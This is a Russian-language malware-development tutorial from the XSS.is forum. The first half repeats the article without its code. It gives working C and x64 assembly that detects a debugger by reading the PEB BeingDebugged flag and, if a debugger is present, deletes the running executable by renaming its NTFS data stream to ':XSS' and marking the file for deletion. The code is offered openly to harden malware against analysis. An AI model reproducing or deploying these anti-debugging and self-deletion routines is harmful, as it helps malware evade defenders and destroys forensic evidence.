D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: shqnx
Специально для XSS.is
Всех приветствую, уважаемые читатели. Сегодня хотелось бы обсудить с вами пару техник анти-анализа мальвари, а именно - анти-отладку и самоуничтожение. Более детально рассмотрим именно самоуничтожение, так как с анти-отладкой все на порядок легче. Желаю всем приятного чтения. Приступим же.
Начать хотелось бы с небезызвестной функции - IsDebuggerPresent():
Источник
Вызов данной функции априори является подозрительным, даже в том случае, если он хорошо скрыт с помощью техники API Hashing. Пусть сама функция и неплохая, хотя бы потому, что просто выполняет свою работу, моя же задача в рамках данной статьи разобрать более незаметный подход к обнаружению отладки.
Сейчас мы поговорим про структуры PEB и TEB. Некоторые функции WinAPI, такие как IsDebuggerPresent() или GetLastError() сводятся к чтению значений из этих самых структур, а именно:
Функция IsDebuggerPresent() сводится к:
Источник
Функция GetLastError() сводится к:
Источник
А теперь давайте чуточку углубимся. А если точнее, то рассмотрим, где именно находится данная структура в памяти.
В памяти Windows есть определнные регистры, которые всегда будут содержать ссылку на TEB, и как следствие, на PEB, о которой мы скоро поговорим. Эти структуры хранятся в регистрах сегментов FS и GS.
Регистр определяется архитектурой. На 32-разрядной версии структура TEB будет расположена в регистре сегмента FS по смещению 18:
На 64-разрядной версии она расположена в регистре сегмента GS по смещению 30:
Также, обратите внимание, что в 32-разрядном сценарии TIB (Thread Information Block) и TEB (Thread Environment Block) взаимозаменяемы (это одно и то же).
Теперь вернемся к тому, что функция GetLastError() сводилась к чтению значения из TEB и рассмотрим поподробнее на саму функцию NtCurrentTeb().
Источник
Как и следовало ожидать, это фактически просто доступ к адресу из регистра FS со смещением 18, который, как мы уже знаем, указывает на TEB.
Если бы это было в 64-разрядной версии, то вместо
было бы:
Сейчас предлагаю создать кастомную версию функции GetLastError(), чтобы закрепить только что полученный материала касаемо TEB.
Создаем .asm файл и начинаем творить:
Код: Скопировать в буфер обмена
Здесь мы определяем процедуру GetTEB, которая использует регистр GS для доступа к TEB и загружает его адрес в регистр RAX, который затем возвращается из процедуры. Таким образом мы и получаем доступ к TEB. Продолжим:
Код: Скопировать в буфер обмена
Тут мы определяем новую процедуру под названием CustomError. Сначала мы очищаем регистр EAX (который используется для возврата значений функций) с помощью операции XOR, гарантируя его начальное состояние. Затем происходит вызов процедуры GetTEB, которая загружает адрес TEB в регистр RAX. Далее, с помощью инструкции mov, происходит извлечение значения ошибки из TEB. Само значение ошибки загружается в регистр EAX. Наконец, с помощью инструкции ret происходит возврат из процедуры.
Обратите внимание, что значение ошибки находится по смещению 68 от начала TEB:
Источник
Итак, вот полный код, который у нас получился:
Спойлер: error.asm
Код: Скопировать в буфер обмена
Теперь перейдем к основной программе. Для того, чтобы использовать процедуры ассемблера, которые мы определили в нашем файле error.asm, нам необходимо использовать ключевое слово extern.
Вот так должна выглядеть основная программа:
Спойлер: customerror.c
C: Скопировать в буфер обмена
Итак, я специально установил некорректное значение PID равное 6666, дабы мы смогли протестировать нашу кастомную функцию GetLastError():
Как мы видим, все успешно работает.
Итак, касаемо функции IsDebuggerPresent(). В PEB есть элемент под названием BeingDebugged, находится он со смещением 2.
Источник
И вместо использования IsDebuggerPresent() мы можем сделать кастомную замену, по аналогии с функцией GetLastError().
Начинаем с .asm файла:
Код: Скопировать в буфер обмена
Тут мы определяем процедуру под названием GetPEB, которая загружает адрес PEB в регистр RAX. Операция mov rax, gs:[60h] осуществляет доступ к PEB через регистр GS, смещенный на 60 байт, что соответствует адресу PEB в адресном пространстве процесса. После этого операция ret возвращает управление из процедуры. Таким образом мы и получаем доступ к PEB. Продолжим:
Код: Скопировать в буфер обмена
Здесь мы определяем процедуру BeingDebugged, которая возвращает флаг, указывающий, работает ли текущий процесс в режиме отладки. Сначала в регистре EAX происходит очистка (обнуление), после чего вызывается процедура GetPEB, загружающая адрес PEB в регистр RAX. Затем с помощью инструкции movzx в регистр EAX загружается однобайтовое значение из PEB, соответствующее флагу BeingDebugged. Наконец, процедура возвращает значение флага из процедуры с помощью инструкции ret.
Полный ASM код:
Спойлер: debugger.asm
Код: Скопировать в буфер обмена
Основная программа:
Спойлер: customdebugger.c
C: Скопировать в буфер обмена
Итак, в случае, если отладчик обнаружен, мы получим следующий вывод:
А если же отладчик не обнаружен, то вот такой:
С собственной программой разобрались. Тут замечать отладку довольно легко. А что насчет отладки другого, удаленного, процесса, которым мы не владеем? Быстренько пробежимся по функции NtQueryInformationProcess():
Источник
Я не буду рассматривать ее слишком подробно. Это ваше задание на дом =)
Суть в том, что через данную функцию вы можете получить информацию о процессе, включая и PEB:
Источник
А после этого уже просто проверять значение BeingDebugged:
Источник
Мы собираемся заставить нашу программу удалить саму себя, переименовав поток данных по умолчанию на другое имя, а затем удалив этот недавно переименованный поток данных, что и приведет к исчезновению программы.
Приступим к написанию кода. Мы обсуждали PEB и TEB не просто так. Для проверки наличия отладки мы будем использовать нашу кастомную версию IsDebuggerPresent(), а для обработки ошибок - кастомную версию GetLastError(). Для начала разберемся с ассемблерной частью. Код должен выглядеть вот так (тут все то же, что и было выше):
Спойлер: error.asm
Код: Скопировать в буфер обмена
Спойлер: debugger.asm
Код: Скопировать в буфер обмена
Теперь к основному коду. Приступим:
C: Скопировать в буфер обмена
Итак, первое, что мы делаем, так это определяем новое имя для нашего потока данных, в моем случае это будет XSS. Далее мы определяем наши функции ассемблера с помощью extern. Двигаемся дальше:
C: Скопировать в буфер обмена
Тут мы создаем отдельную функцию для проверки отладки, чтобы потом просто вызвать ее в main(). На данном этапе все довольно легко. Продолжим:
C: Скопировать в буфер обмена
Начинаем работать над нашей функцией самоуничтожения. Здесь мы инициализируем переменные и структуры, необходимые для последующих операций с файлами, таких как переименование и удаление.
HANDLE handleFile представляет собой хэндл файла, инициализированный значением INVALID_HANDLE_VALUE, чтобы обозначить, что он еще не использовался.
const wchar_t* NEWSTREAM - это указатель на строку с новым именем потока.
size_t RenameSize вычисляет общий размер для структуры FILE_RENAME_INFO, добавляя к нему размер нового имени потока.
PFILE_RENAME_INFO PFRI - это указатель на структуру FILE_RENAME_INFO, которая используется для переименования файла. Эта структура содержит информацию о новом имени файла.
WCHAR PathSize[MAX_PATH * 2] - это массив символов, предназначенный для хранения пути к текущему файлу. Он инициализируется нулевыми значениями.
FILE_DISPOSITION_INFO SetDelete - это структура, используемая для пометки файла для последующего удаления. Продолжим:
C: Скопировать в буфер обмена
Здесь мы используем функцию HeapAlloc для выделения памяти под структуру FILE_RENAME_INFO. Эта функция выделяет блок памяти в куче процесса, передавая ей указатель на эту кучу процесса, флаг HEAP_ZERO_MEMORY, который обеспечивает инициализацию выделенной памяти нулевыми значениями, и размер блока памяти RenameSize, вычисленный ранее.
Далее мы проверяем, было ли успешно выделено место под структуру PFRI. Если выделение памяти не удалось (т.е. PFRI равно NULL), мы выводим сообщение об ошибке и возвращаем из функции код ошибки (1). Если выделение памяти прошло успешно, мы выводим сообщение о том, что память для структуры FILE_RENAME_INFO была успешно выделена. Продолжим:
C: Скопировать в буфер обмена
Сначала мы используем функцию ZeroMemory, чтобы установить все байты массива PathSize в нулевые значения. Мы передаем ей указатель на массив PathSize и размер этого массива, вычисленный с помощью sizeof. Затем мы делаем то же самое для структуры SetDelete. Мы передаем указатель на структуру SetDelete и размер этой структуры, который вычислен с помощью sizeof(FILE_DISPOSITION_INFO).
После очистки структур мы помечаем файл для удаления, устанавливая поле DeleteFile структуры SetDelete в TRUE. Это говорит системе о том, что файл должен быть удален при закрытии хэндла. После этого мы выводим сообщение о завершении этапа пометки файла для удаления. Продолжим:
C: Скопировать в буфер обмена
Тут мы работаем с полями структуры FILE_RENAME_INFO.
Сначала мы устанавливаем значение поля FileNameLength равным размеру строки NEWSTREAM, которая представляет собой новое имя потока. Это действие гарантирует, что система правильно интерпретирует длину имени файла при последующем переименовании. Затем мы копируем содержимое строки NEWSTREAM в поле FileName структуры PFRI с помощью функции RtlCopyMemory. Мы передаем адрес начала строки NEWSTREAM, адрес начала поля FileName структуры PFRI и размер строки NEWSTREAM, чтобы скопировать ее содержимое. После копирования имени файла мы выводим сообщение о том, что имя файла было успешно перезаписано. Для наглядности также выводится новое имя файла. Продолжим:
C: Скопировать в буфер обмена
Здесь мы начинаем процесс переименования файла.
Сначала мы вызываем функцию GetModuleFileNameW, чтобы получить текущее имя исполняемого файла. Мы передаем ей параметр NULL для получения пути к текущему исполняемому файлу, массив PathSize, чтобы сохранить полученный путь, и размер массива, умноженный на 2, так как размер типа WCHAR в два раза больше, чем размер типа char. Если функция GetModuleFileNameW возвращает 0, это означает, что произошла ошибка при получении имени файла, и мы выводим сообщение об ошибке, а затем возвращаем код ошибки.
После успешного получения текущего имени файла мы переходим к получению хэндла текущего файла с помощью функции CreateFileW. Мы передаем ей имя файла из массива PathSize, флаги DELETE | SYNCHRONIZE для разрешения удаления файла и ожидания завершения операции, флаг FILE_SHARE_READ для разрешения совместного доступа для чтения, и некоторые другие параметры, указывающие на то, что файл уже существует и должен быть открыт для доступа. Если функция CreateFileW возвращает INVALID_HANDLE_VALUE, это означает, что произошла ошибка при получении хэндла файла, и мы выводим сообщение об ошибке и возвращаем код ошибки. Если операции выполнены успешно, мы выводим сообщение о получении хэндла файла. Продолжим:
C: Скопировать в буфер обмена
Тут мы проводим операцию переименования файла.
Мы используем функцию SetFileInformationByHandle, чтобы установить новое имя файла. Мы передаем ей хэндл файла handleFile, тип информации FileRenameInfo, указатель на структуру PFRI, содержащую новое имя файла, и размер этой структуры RenameSize. Если операция переименования не удалась (т.е. функция возвращает FALSE), мы выводим сообщение об ошибке.
После выполнения операции переименования мы выводим сообщение о завершении этапа. Затем мы закрываем хэндл файла с помощью функции CloseHandle, чтобы применить изменения. После закрытия хэндла мы выводим сообщение о завершении этапа и переходим ко второй части нашей функции:
C: Скопировать в буфер обмена
Здесь мы снова получаем хэндл текущего файла. Метод такой-же, как и в первый раз. Так что повторно объяснять нет смысла. Продолжим:
C: Скопировать в буфер обмена
Тут мы помечаем файл для удаления и завершаем функцию самоуничтожения.
Мы используем функцию SetFileInformationByHandle, чтобы пометить файл для удаления. Мы передаем ей хэндл файла handleFile, тип информации FileDispositionInfo, указатель на структуру SetDelete, содержащую информацию о пометке файла для удаления, и размер этой структуры. Если операция пометки файла для удаления не удалась (т.е. функция возвращает FALSE), мы выводим сообщение об ошибке и возвращаем код ошибки.
После успешной операции пометки файла для удаления мы выводим сообщение о завершении этапа. Затем мы закрываем хэндл файла с помощью функции CloseHandle, чтобы применить изменения. После закрытия хэндла мы освобождаем выделенный ранее буфер, используя функцию HeapFree, и возвращаем успешный код завершения операции. Ну и, наконец, перейдем к функции main():
C: Скопировать в буфер обмена
В функции main сначала мы вызываем функцию CheckDebugger для проверки наличия отладчика. Если отладчик не обнаружен, происходит запуск полезной нагрузки, в данном случае просто вызывается функция MessageBoxW для демонстрации работоспособности.
Если отладчик обнаружен, вызывается функция HastaLaVistaBaby, которая выполняет самоуничтожение программы.
После завершения выполнения функции HastaLaVistaBaby управление возвращается в функцию main, которая завершает свою работу. Если отладчик не обнаружен и выполнение дошло до конца функции main, она возвращает 0, указывая на успешное завершение программы.
Полный код основной программы:
Спойлер: hastalavistababy.c
C: Скопировать в буфер обмена
Проведем тест нашего детища. Для начала запуск без отладки:
Теперь с использованием отладки:
Иии... наш файл самоуничтожается. Прям как железный Арнольд =)
Вот в принципе и все. Мы разобрали некоторые из методов анти-анализа мальвари. Само собой лучше всего комбинировать их и вообще не забывать про собственную находчивость и креативность, не бояться эксперементировать. Благодарю за внимание! Всем успехов!
Специально для XSS.is
Всех приветствую, уважаемые читатели. Сегодня хотелось бы обсудить с вами пару техник анти-анализа мальвари, а именно - анти-отладку и самоуничтожение. Более детально рассмотрим именно самоуничтожение, так как с анти-отладкой все на порядок легче. Желаю всем приятного чтения. Приступим же.
Анти-отладка
Начать хотелось бы с небезызвестной функции - IsDebuggerPresent():
Источник
Вызов данной функции априори является подозрительным, даже в том случае, если он хорошо скрыт с помощью техники API Hashing. Пусть сама функция и неплохая, хотя бы потому, что просто выполняет свою работу, моя же задача в рамках данной статьи разобрать более незаметный подход к обнаружению отладки.
Сейчас мы поговорим про структуры PEB и TEB. Некоторые функции WinAPI, такие как IsDebuggerPresent() или GetLastError() сводятся к чтению значений из этих самых структур, а именно:
Функция IsDebuggerPresent() сводится к:
Источник
Функция GetLastError() сводится к:
Источник
Структура Thread Environment Block (TEB)
Представим себе обычную ситуацию: создается процесс и выполняется его основной поток. Так вот данная очень важная структура TEB хранит некоторую информацию об этом потоке.
А теперь давайте чуточку углубимся. А если точнее, то рассмотрим, где именно находится данная структура в памяти.
В памяти Windows есть определнные регистры, которые всегда будут содержать ссылку на TEB, и как следствие, на PEB, о которой мы скоро поговорим. Эти структуры хранятся в регистрах сегментов FS и GS.
Регистр определяется архитектурой. На 32-разрядной версии структура TEB будет расположена в регистре сегмента FS по смещению 18:
TEB -> FS:[18h]
Нажмите, чтобы раскрыть...
На 64-разрядной версии она расположена в регистре сегмента GS по смещению 30:
TEB -> GS:[30h]
Нажмите, чтобы раскрыть...
Также, обратите внимание, что в 32-разрядном сценарии TIB (Thread Information Block) и TEB (Thread Environment Block) взаимозаменяемы (это одно и то же).
Теперь вернемся к тому, что функция GetLastError() сводилась к чтению значения из TEB и рассмотрим поподробнее на саму функцию NtCurrentTeb().
Источник
Как и следовало ожидать, это фактически просто доступ к адресу из регистра FS со смещением 18, который, как мы уже знаем, указывает на TEB.
Если бы это было в 64-разрядной версии, то вместо
return (struct _TEB *)__readfsdword(0x18);
Нажмите, чтобы раскрыть...
было бы:
return (struct _TEB *)__readgsdword(0x30);
Нажмите, чтобы раскрыть...
Сейчас предлагаю создать кастомную версию функции GetLastError(), чтобы закрепить только что полученный материала касаемо TEB.
Создаем .asm файл и начинаем творить:
Код: Скопировать в буфер обмена
Код:
.code
GetTEB proc
mov rax, qword ptr gs:[30h] ; TEB
ret
GetTEB endp
[...]
Здесь мы определяем процедуру GetTEB, которая использует регистр GS для доступа к TEB и загружает его адрес в регистр RAX, который затем возвращается из процедуры. Таким образом мы и получаем доступ к TEB. Продолжим:
Код: Скопировать в буфер обмена
Код:
[...]
CustomError proc
xor eax, eax
call GetTEB
mov eax, dword ptr [rax+68h] ; TEB -> LastErrorValue
ret
CustomError endp
end
Тут мы определяем новую процедуру под названием CustomError. Сначала мы очищаем регистр EAX (который используется для возврата значений функций) с помощью операции XOR, гарантируя его начальное состояние. Затем происходит вызов процедуры GetTEB, которая загружает адрес TEB в регистр RAX. Далее, с помощью инструкции mov, происходит извлечение значения ошибки из TEB. Само значение ошибки загружается в регистр EAX. Наконец, с помощью инструкции ret происходит возврат из процедуры.
Обратите внимание, что значение ошибки находится по смещению 68 от начала TEB:
Источник
Итак, вот полный код, который у нас получился:
Спойлер: error.asm
Код: Скопировать в буфер обмена
Код:
.code
GetTEB proc
mov rax, qword ptr gs:[30h] ; TEB
ret
GetTEB endp
CustomError proc
xor eax, eax
call GetTEB
mov eax, dword ptr [rax+68h] ; TEB -> LastErrorValue
ret
CustomError endp
end
Теперь перейдем к основной программе. Для того, чтобы использовать процедуры ассемблера, которые мы определили в нашем файле error.asm, нам необходимо использовать ключевое слово extern.
Вот так должна выглядеть основная программа:
Спойлер: customerror.c
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#define plus(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define minus(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define asterisk(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
extern PTEB GetTEB(void);
extern DWORD CustomError(void);
int main(void) {
asterisk("Получаем TEB");
PTEB pTEB = GetTEB();
plus("---> 0x%p\n", pTEB);
HANDLE handleProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 6666);
if (handleProcess == NULL) {
minus("CustomError: 0x%lx", CustomError());
minus("GetLastError: 0x%lx", GetLastError());
return 1;
}
return 0;
}
Итак, я специально установил некорректное значение PID равное 6666, дабы мы смогли протестировать нашу кастомную функцию GetLastError():
Как мы видим, все успешно работает.
Структура Process Environment Block (PEB)
Эта структура очень похожа на структуру TEB. Она дает вам представление текущего процесса в пользовательском режиме (user-mode). У нее довольно много элементов и она может позволить выяснить много интересных вещей.
Итак, касаемо функции IsDebuggerPresent(). В PEB есть элемент под названием BeingDebugged, находится он со смещением 2.
Источник
И вместо использования IsDebuggerPresent() мы можем сделать кастомную замену, по аналогии с функцией GetLastError().
Начинаем с .asm файла:
Код: Скопировать в буфер обмена
Код:
.code
GetPEB proc
mov rax, gs:[60h] ; PEB
ret
GetPEB endp
[...]
Тут мы определяем процедуру под названием GetPEB, которая загружает адрес PEB в регистр RAX. Операция mov rax, gs:[60h] осуществляет доступ к PEB через регистр GS, смещенный на 60 байт, что соответствует адресу PEB в адресном пространстве процесса. После этого операция ret возвращает управление из процедуры. Таким образом мы и получаем доступ к PEB. Продолжим:
Код: Скопировать в буфер обмена
Код:
[...]
BeingDebugged proc
xor eax, eax
call GetPEB
movzx eax, byte ptr [rax+2h] ; PEB -> BeingDebugged
ret
BeingDebugged endp
end
Здесь мы определяем процедуру BeingDebugged, которая возвращает флаг, указывающий, работает ли текущий процесс в режиме отладки. Сначала в регистре EAX происходит очистка (обнуление), после чего вызывается процедура GetPEB, загружающая адрес PEB в регистр RAX. Затем с помощью инструкции movzx в регистр EAX загружается однобайтовое значение из PEB, соответствующее флагу BeingDebugged. Наконец, процедура возвращает значение флага из процедуры с помощью инструкции ret.
Полный ASM код:
Спойлер: debugger.asm
Код: Скопировать в буфер обмена
Код:
.code
GetPEB proc
mov rax, gs:[60h] ; PEB
ret
GetPEB endp
BeingDebugged proc
xor eax, eax
call GetPEB
movzx eax, byte ptr [rax+2h] ; PEB -> BeingDebugged
ret
BeingDebugged endp
end
Основная программа:
Спойлер: customdebugger.c
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#define plus(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define minus(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define asterisk(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
extern PPEB GetPEB(void);
extern BYTE CheckDebugger(void);
int main(void) {
asterisk("Получаем PEB");
PPEB pPEB = GetPEB();
plus("---> 0x%p\n", pPEB);
if (CheckDebugger() != 0) {
minus("PEB -> BeingDebugged: 0x%d", CheckDebugger());
return 1;
}
plus("PEB -> BeingDebugged: 0x%d", CheckDebugger());
return 0;
}
Итак, в случае, если отладчик обнаружен, мы получим следующий вывод:
[-] PEB -> BeingDebugged: 0x1
Нажмите, чтобы раскрыть...
А если же отладчик не обнаружен, то вот такой:
[+] PEB -> BeingDebugged: 0x0
Нажмите, чтобы раскрыть...
С собственной программой разобрались. Тут замечать отладку довольно легко. А что насчет отладки другого, удаленного, процесса, которым мы не владеем? Быстренько пробежимся по функции NtQueryInformationProcess():
Источник
Я не буду рассматривать ее слишком подробно. Это ваше задание на дом =)
Суть в том, что через данную функцию вы можете получить информацию о процессе, включая и PEB:
Источник
А после этого уже просто проверять значение BeingDebugged:
Источник
Самоуничтожение
Сейчас мы рассмотрим другую технику анти-анализа, а именно самоуничтожение. Перед этим мы немного должны углубиться в понимание файловой системы NTFS. В NTFS, когда вы создаете файл, он представляется записью в Master File Table ($MFT) и для каждой записи файла $MFT выделяет определенный объем пространства. В этом выделенном пространстве находятся атрибуты файла. Их довольно много, единственное, на что нам надо обратить внимание - так это на атрибут $DATA. В NTFS есть функция, позволяющая создавать собственные альтернативные потоки данных. Это означает, что вы можете поместить скрытую информацию или даже целый скрытый исполняемый файл в новый поток данных в, казалось бы, невинном файле:Мы собираемся заставить нашу программу удалить саму себя, переименовав поток данных по умолчанию на другое имя, а затем удалив этот недавно переименованный поток данных, что и приведет к исчезновению программы.
Приступим к написанию кода. Мы обсуждали PEB и TEB не просто так. Для проверки наличия отладки мы будем использовать нашу кастомную версию IsDebuggerPresent(), а для обработки ошибок - кастомную версию GetLastError(). Для начала разберемся с ассемблерной частью. Код должен выглядеть вот так (тут все то же, что и было выше):
Спойлер: error.asm
Код: Скопировать в буфер обмена
Код:
.code
GetTEB proc
mov rax, qword ptr gs:[30h] ; TEB
ret
GetTEB endp
CustomError proc
xor eax, eax
call GetTEB
mov eax, dword ptr [rax+68h] ; TEB -> LastErrorValue
ret
CustomError endp
end
Спойлер: debugger.asm
Код: Скопировать в буфер обмена
Код:
.code
GetPEB proc
mov rax, gs:[60h] ; PEB
ret
GetPEB endp
BeingDebugged proc
xor eax, eax
call GetPEB
movzx eax, byte ptr [rax+2h] ; PEB -> BeingDebugged
ret
BeingDebugged endp
end
Теперь к основному коду. Приступим:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#define plus(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define minus(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define asterisk(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define NEW_STREAM L":XSS"
extern PPEB GetPEB(void);
extern DWORD CustomError(void);
[...]
Итак, первое, что мы делаем, так это определяем новое имя для нашего потока данных, в моем случае это будет XSS. Далее мы определяем наши функции ассемблера с помощью extern. Двигаемся дальше:
C: Скопировать в буфер обмена
Код:
[...]
BOOL CheckDebugger(void) {
asterisk("Получаем PEB");
PPEB pPEB = GetPEB();
plus("---> 0x%p\n", pPEB);
asterisk("Проверяем на наличие отладчика");
plus("PEB -> BeingDebugged: 0x%d", pPEB->BeingDebugged);
if (pPEB->BeingDebugged != 0) {
minus("Отладчик замечен\n");
return TRUE;
}
plus("Отладчик не был замечен\n");
return FALSE;
}
[...]
Тут мы создаем отдельную функцию для проверки отладки, чтобы потом просто вызвать ее в main(). На данном этапе все довольно легко. Продолжим:
C: Скопировать в буфер обмена
Код:
[...]
int HastaLaVistaBaby(void) {
HANDLE handleFile = INVALID_HANDLE_VALUE;
const wchar_t* NEWSTREAM = (const wchar_t*)NEW_STREAM;
size_t RenameSize = sizeof(FILE_RENAME_INFO) + sizeof(NEWSTREAM);
PFILE_RENAME_INFO PFRI = NULL;
WCHAR PathSize[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO SetDelete = { 0 };
[...]
return 0;
}
Начинаем работать над нашей функцией самоуничтожения. Здесь мы инициализируем переменные и структуры, необходимые для последующих операций с файлами, таких как переименование и удаление.
HANDLE handleFile представляет собой хэндл файла, инициализированный значением INVALID_HANDLE_VALUE, чтобы обозначить, что он еще не использовался.
const wchar_t* NEWSTREAM - это указатель на строку с новым именем потока.
size_t RenameSize вычисляет общий размер для структуры FILE_RENAME_INFO, добавляя к нему размер нового имени потока.
PFILE_RENAME_INFO PFRI - это указатель на структуру FILE_RENAME_INFO, которая используется для переименования файла. Эта структура содержит информацию о новом имени файла.
WCHAR PathSize[MAX_PATH * 2] - это массив символов, предназначенный для хранения пути к текущему файлу. Он инициализируется нулевыми значениями.
FILE_DISPOSITION_INFO SetDelete - это структура, используемая для пометки файла для последующего удаления. Продолжим:
C: Скопировать в буфер обмена
Код:
[...]
PFRI = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RenameSize);
if (!PFRI) {
minus("Не удалось выделить память, ошибка: 0x%lx", CustomError());
return 1;
}
plus("Память для FILE_RENAME_INFO [0x%p] выделена\n", PFRI);
[...]
return 0;
}
Здесь мы используем функцию HeapAlloc для выделения памяти под структуру FILE_RENAME_INFO. Эта функция выделяет блок памяти в куче процесса, передавая ей указатель на эту кучу процесса, флаг HEAP_ZERO_MEMORY, который обеспечивает инициализацию выделенной памяти нулевыми значениями, и размер блока памяти RenameSize, вычисленный ранее.
Далее мы проверяем, было ли успешно выделено место под структуру PFRI. Если выделение памяти не удалось (т.е. PFRI равно NULL), мы выводим сообщение об ошибке и возвращаем из функции код ошибки (1). Если выделение памяти прошло успешно, мы выводим сообщение о том, что память для структуры FILE_RENAME_INFO была успешно выделена. Продолжим:
C: Скопировать в буфер обмена
Код:
[...]
asterisk("Очистка некоторых структур");
ZeroMemory(PathSize, sizeof(PathSize));
ZeroMemory(&SetDelete, sizeof(FILE_DISPOSITION_INFO));
plus("Завершено\n");
asterisk("Помечаем файл для удаления");
SetDelete.DeleteFile = TRUE;
plus("Завершено\n");
[...]
return 0;
}
Сначала мы используем функцию ZeroMemory, чтобы установить все байты массива PathSize в нулевые значения. Мы передаем ей указатель на массив PathSize и размер этого массива, вычисленный с помощью sizeof. Затем мы делаем то же самое для структуры SetDelete. Мы передаем указатель на структуру SetDelete и размер этой структуры, который вычислен с помощью sizeof(FILE_DISPOSITION_INFO).
После очистки структур мы помечаем файл для удаления, устанавливая поле DeleteFile структуры SetDelete в TRUE. Это говорит системе о том, что файл должен быть удален при закрытии хэндла. После этого мы выводим сообщение о завершении этапа пометки файла для удаления. Продолжим:
C: Скопировать в буфер обмена
Код:
[...]
PFRI->FileNameLength = sizeof(NEWSTREAM);
plus("Устанавливаем FILE_RENAME_INFO -> FileNameLength значение, равное %S", NEWSTREAM);
RtlCopyMemory(PFRI->FileName, NEWSTREAM, sizeof(NEWSTREAM));
plus("Перезаписываем FILE_RENAME_INFO -> FileName потоком данных %S", NEWSTREAM);
plus("---> %S\n", PFRI->FileName);
[...]
return 0;
}
Тут мы работаем с полями структуры FILE_RENAME_INFO.
Сначала мы устанавливаем значение поля FileNameLength равным размеру строки NEWSTREAM, которая представляет собой новое имя потока. Это действие гарантирует, что система правильно интерпретирует длину имени файла при последующем переименовании. Затем мы копируем содержимое строки NEWSTREAM в поле FileName структуры PFRI с помощью функции RtlCopyMemory. Мы передаем адрес начала строки NEWSTREAM, адрес начала поля FileName структуры PFRI и размер строки NEWSTREAM, чтобы скопировать ее содержимое. После копирования имени файла мы выводим сообщение о том, что имя файла было успешно перезаписано. Для наглядности также выводится новое имя файла. Продолжим:
C: Скопировать в буфер обмена
Код:
[...]
asterisk("Получаем текущее имя файла");
if (GetModuleFileNameW(NULL, PathSize, MAX_PATH * 2) == 0) {
minus("Не удалось получить текущее имя файла, ошибка: 0x%lx", CustomError());
return 1;
}
plus("Завершено\n");
asterisk("Начинаем процесс переименования\n");
asterisk("Получаем хэндл текущего файла");
handleFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (handleFile == INVALID_HANDLE_VALUE) {
minus("Не удалось получить хэндл файла, ошибка: 0x%lx", CustomError());
return 1;
}
plus("---> 0x%p\n", handleFile);
[...]
return 0;
}
Здесь мы начинаем процесс переименования файла.
Сначала мы вызываем функцию GetModuleFileNameW, чтобы получить текущее имя исполняемого файла. Мы передаем ей параметр NULL для получения пути к текущему исполняемому файлу, массив PathSize, чтобы сохранить полученный путь, и размер массива, умноженный на 2, так как размер типа WCHAR в два раза больше, чем размер типа char. Если функция GetModuleFileNameW возвращает 0, это означает, что произошла ошибка при получении имени файла, и мы выводим сообщение об ошибке, а затем возвращаем код ошибки.
После успешного получения текущего имени файла мы переходим к получению хэндла текущего файла с помощью функции CreateFileW. Мы передаем ей имя файла из массива PathSize, флаги DELETE | SYNCHRONIZE для разрешения удаления файла и ожидания завершения операции, флаг FILE_SHARE_READ для разрешения совместного доступа для чтения, и некоторые другие параметры, указывающие на то, что файл уже существует и должен быть открыт для доступа. Если функция CreateFileW возвращает INVALID_HANDLE_VALUE, это означает, что произошла ошибка при получении хэндла файла, и мы выводим сообщение об ошибке и возвращаем код ошибки. Если операции выполнены успешно, мы выводим сообщение о получении хэндла файла. Продолжим:
C: Скопировать в буфер обмена
Код:
[...]
asterisk("Переименование");
if (!SetFileInformationByHandle(handleFile, FileRenameInfo, PFRI, RenameSize)) {
minus("Не удалось перезаписать поток данных, ошибка: 0x%lx", CustomError());
}
plus("Завершено\n");
asterisk("Закрываем хэндл, чтобы применить изменения");
CloseHandle(handleFile);
plus("Завершено. Приступаем ко второй части\n");
[...]
return 0;
}
Тут мы проводим операцию переименования файла.
Мы используем функцию SetFileInformationByHandle, чтобы установить новое имя файла. Мы передаем ей хэндл файла handleFile, тип информации FileRenameInfo, указатель на структуру PFRI, содержащую новое имя файла, и размер этой структуры RenameSize. Если операция переименования не удалась (т.е. функция возвращает FALSE), мы выводим сообщение об ошибке.
После выполнения операции переименования мы выводим сообщение о завершении этапа. Затем мы закрываем хэндл файла с помощью функции CloseHandle, чтобы применить изменения. После закрытия хэндла мы выводим сообщение о завершении этапа и переходим ко второй части нашей функции:
C: Скопировать в буфер обмена
Код:
[...]
asterisk("Снова получаем хэндл текущего файла");
handleFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (handleFile == INVALID_HANDLE_VALUE) {
minus("Не удалось получить хэндл файла, ошибка: 0x%lx", CustomError());
return 1;
}
plus("---> 0x%p\n", handleFile);
[...]
return 0;
}
Здесь мы снова получаем хэндл текущего файла. Метод такой-же, как и в первый раз. Так что повторно объяснять нет смысла. Продолжим:
C: Скопировать в буфер обмена
Код:
[...]
asterisk("Помечаем файл для удаления");
if (!SetFileInformationByHandle(handleFile, FileDispositionInfo, &SetDelete, sizeof(SetDelete))) {
minus("Не удалось пометить файл для удаления, ошибка: 0x%lx", CustomError());
return 1;
}
plus("Завершено\n");
asterisk("Закрываем хэндл, это должно удалить файл");
CloseHandle(handleFile);
asterisk("Освобождаем выделенный буфер");
HeapFree(GetProcessHeap(), 0, PFRI);
return 0;
}
Тут мы помечаем файл для удаления и завершаем функцию самоуничтожения.
